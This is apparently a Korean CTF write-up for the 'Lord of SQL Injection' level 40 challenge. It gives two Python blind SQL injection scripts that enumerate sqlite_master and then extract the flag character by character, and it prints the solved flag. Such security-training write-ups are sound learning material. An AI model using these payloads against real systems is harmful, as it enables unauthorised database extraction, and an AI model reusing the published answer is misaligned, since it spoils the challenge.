WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 40 - Poltergeist

폴터가이스트 현상이다.(이것도 몬스터가 맞나?) 예전에 국내에서 개봉한 곤지암이라는 영화를 봤는데, 와; 무섭더라. 마지막 장면에 침대에 묶여서 어둠으로 끌려가는 장면이 생각난다. 

< 출처 : 나무위키 https://namu.wiki/w/%ED%8F%B4%ED%84%B0%EA%B0%80%EC%9D%B4%EC%8A%A4%ED%8A%B8 >

 


코드

주석이 길다. 써있는 글은 flag_{$hash} 테이블에 정보가 있다고 한다. 아마 특정한 다이제스트가 $hash에 들어갈 거 같다.(설마 $hash라는 문자열일까) 


해결방법

Answer Url : https://los.rubiya.kr/chall/XXXX.php?pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}

 

첫번째 코드이다. Blind SQL Injection을 위해서 우선 flag_%뭐 시기로 시작하는 테이블 명을 가져와 봤다. MySQL의 Information_Schema와 같은 메타 정보가 sqlite_master라는 테이블에 있다. sqlite_master에는 type, name, tbl_name(테이블 명), sql(생성시 create 명령어)가 저장되어 있고, tbl_name이 flag_%뭐인 테이블의 생성 sql을 가져와 보자

import string
from requests import get

if __name__=="__main__" :

    url = "### poltergeist URL ###"
    cookie = dict(PHPSESSID ="### 자신의PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters+string.punctuation
    password = ''
    
    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?pw=1' or id='admin' and length((select sql from sqlite_master where tbl_name like 'flag_%'))="+str(length)+"-- "
        new_url = url+param
        req = get(new_url,cookies=cookie)
        if (req.text.find("Hello admin")>0) :
            print("FIND! password lenght pw : "+str(length))
            break
        length+=1

    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1' or id='admin' and substr(((select sql from sqlite_master where tbl_name like 'flag_%')),"+str(i)+",1)='"+a+"'-- "
            new_url = url+param
            req = get(new_url,cookies=cookie)

            if (req.text.find("Hello admin")>0) :
                password += a
                break

    print("="*25)
    print("find password : "+password)

이렇게 하면 다음과 같은 QUERY가 나온다.

### LENGTH of PASSWORD SEARCH ###
FIND! password lenght pw : 54


### PASSWORD SEARCH ###
=========================
find password : CREATE+TABLE+`flag_70c81d99`+(`flag_0876285c`TEXT)

(+)는 url로 연결이 될때 공백이 +로 치환되는 성질이 있어서 그렇다. " "으로 알아서 치환하자. 위에 따르면 flag_70c81d99라는 테이블에 flag_0876285c라는 칼럼명이 있는 것이다. 이를 활용해서 두 번째 코드를 만들자

flag_length = 1
flag = ""

print("\n\n### FLAG LENGTH SEARCH ###")
while(True) :
    param = "?pw=1' or id='admin' and length((select flag_0876285c from flag_70c81d99))="+str(flag_length)+"--%20"
    new_url = url+param
    req = get(new_url,cookies=cookie)

    if (req.text.find("Hello admin")>0) :
        print("FIND! password lenght pw : "+str(flag_length))
        break
    flag_length+=1

print("\n\n### PASSWORD SEARCH ###")
for i in range(1,flag_length+1) :
    for a in letters :
        param = "?pw=1' or id='admin' and substr(((select flag_0876285c from flag_70c81d99)),"+str(i)+",1)='"+a+"'-- "
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if (req.text.find("Hello admin")>0) :
            flag += a
            break

print("flag :",flag)

출력은 다음과 같다.

### FLAG LENGTH SEARCH ###
FIND! password lenght pw : 38


### PASSWORD SEARCH ###
flag : FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}

그릏다. 이렇게 flag를 얻을 수 있었다.


이렇게 몬스터에 이어 심령현상까지 물리치기 시작했다. 두렵다 괴라는 나물 다음 관문에서 기다리겠다.